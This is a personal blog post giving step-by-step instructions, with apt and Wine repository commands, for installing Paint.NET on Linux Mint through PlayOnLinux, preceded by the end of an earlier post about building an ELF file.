<b>Step 6: (Make ELF)<br />Navigate to the folder where you have your example files (youll need to have a .c file and a makefile) and type make.You should see the same massage and now in the same directory you will have an .elf file.<br /></b> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSt4S-vFwT_YqQIgZ8pl8_yixXCBzigHEjITKaNGMjNRTlbv4MF86QogeECAAWAl2Oc2tpcMPmIRn7-CQTKFy8FxgzKY1KklQJEqbuQrkLw_SbRGOB2YRn19_SySvnsdsgQwSXX5_ndho/s1600/finalstep.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em; text-align: center;"><img border="0" data-original-height="512" data-original-width="1133" height="144" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhSt4S-vFwT_YqQIgZ8pl8_yixXCBzigHEjITKaNGMjNRTlbv4MF86QogeECAAWAl2Oc2tpcMPmIRn7-CQTKFy8FxgzKY1KklQJEqbuQrkLw_SbRGOB2YRn19_SySvnsdsgQwSXX5_ndho/s320/finalstep.png" width="320" /></a><br />
<br />LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com1tag:blogger.com,1999:blog-8206292603302104841.post-40138882930634522662017-12-07T22:19:00.003+02:002018-08-26T19:46:39.526+03:00Paint.net on Linux Mint<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh1waDRf3nbFul73hUMUGavFHNRGt0hKyjY_yGXfuBlmAbrAy2jvb9A7YOZZFtmrIPiEtDJSgkOaLf-U_Nv6rW8WpYq9q13PpU8tw-fjiHydNdPn9gxFnUm1yZtJOdahIIv-KBxJyXkrc/s1600/paindotnet.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="180" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh1waDRf3nbFul73hUMUGavFHNRGt0hKyjY_yGXfuBlmAbrAy2jvb9A7YOZZFtmrIPiEtDJSgkOaLf-U_Nv6rW8WpYq9q13PpU8tw-fjiHydNdPn9gxFnUm1yZtJOdahIIv-KBxJyXkrc/s320/paindotnet.png" width="320" /></a></div>
<b>Description:</b>
I finally figured out how to properly install Paint.net on my Linux disto {Mint} using POL [PlayOnLinux]<br />
After some trial&error i got the whole thing to work just fine.<br />
<b>What you'll need:</b><br />
<a href="http://montcs.bloomu.edu/Software/Graphics/Paint.NET/PaintDotNetPortable_3.5.6.0_English.paf.exe">PaintDotNetPortable_3.5.6.0_English.paf</a><br />
<a href="https://filehippo.com/download_dotnet_framework_4/tech/7391/">dotNetFx40_Full_x86_x64</a> or follow the * to install it via POL Components
<b>Tested Wine Version: 2.21(Staging)</b>
<br />
<h3>
Here are the steps:</h3>
<br />
<b>Step 1:</b><br />
Create your virtual driver & configure it<br />
Install -> Install a nonlisted program -> Install a program in new virtual drive -> Give it a name - > Select Configure Wine -> Select WindowsXP -> Apply & Okay -> 32bits windows installation
Select Browse and select the dotNetFx40_Full_x86_x64.exe program. <br />
<br />
<b>* </b>or you can close it and install dotNet40 through POL ->Configure -> Install Components ->dotNet40 but before installing it make sure you run this on your terminal first
<br />
<blockquote>
echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope</blockquote>
<b>Step 2:</b><br />
After that either select the PaintDotNetPortable_3.5.6.0_English.paf.exe file and install it. When it will ask you where to install the programs just navigate through program files and install it where you have all your other vds'.<br />
<b>
Step 3:</b><br />
Select the PaintDotNet so it will create the icon and thats it.<br />
Everytime it opens the tools are a bit bugged so you can press two times the F5 , F6 , F7 , F8 and they will load-up normally.<br />
<b>Step 4:</b><br />
After that , enjoy.<br />
<br />
<b>UPDATE:</b><br />
To install version 3.5.11 follow the below instructions:<br /><br />
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;">1) Install Wine. (get it from your distro's s/w repository)<br /></span><br />
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">sudo nano /etc/apt/sources.list</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">wget https://dl.winehq.org/wine-builds/Release.key</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<br />
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">sudo apt-key add Release.key</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">sudo apt-add-repository 'deb https://dl.winehq.org/wine-builds/ubuntu/ bionic main</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">sudo apt-get update</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">sudo apt-add-repository https://dl.winehq.org/wine-builds/ubuntu/</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">sudo apt-get update</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">sudo apt-get install --install-recommends winehq-stable -y</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /></span>
<pre style="background: rgb(221, 221, 221); box-shadow: rgb(34, 34, 34) 3px 3px 5px; box-sizing: border-box; color: #50575f; font-family: monospace, monospace; font-size: 19.1px; padding: 10px; white-space: pre-wrap; width: 758.984px; word-wrap: break-word;">winecfg</pre>
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;"><br /><br />2) Install playon linux. (get it from your distro's s/w repository)</span><br />
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;">3) Run Playon Linux and create a 32-bit XP or Windows10 virtual drive.</span><br />
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;">4) Use Playon Linux to install “dotnet40” (DotNet 4.0) on that virtual drive.</span><br />
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;">5) Use Playon Linux to install “gdiplus” on that virtual drive. </span><br />
<span style="background-color: white; color: #353c41; font-family: "roboto" , "helvetica neue" , "helvetica" , "arial" , sans-serif; font-size: 14px;">6) Use Playon Linux to install PDN 3.5.11 (It's the latest PDN version I can get running) on that virtual drive.</span><br />
<br />
<br />
<br />LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0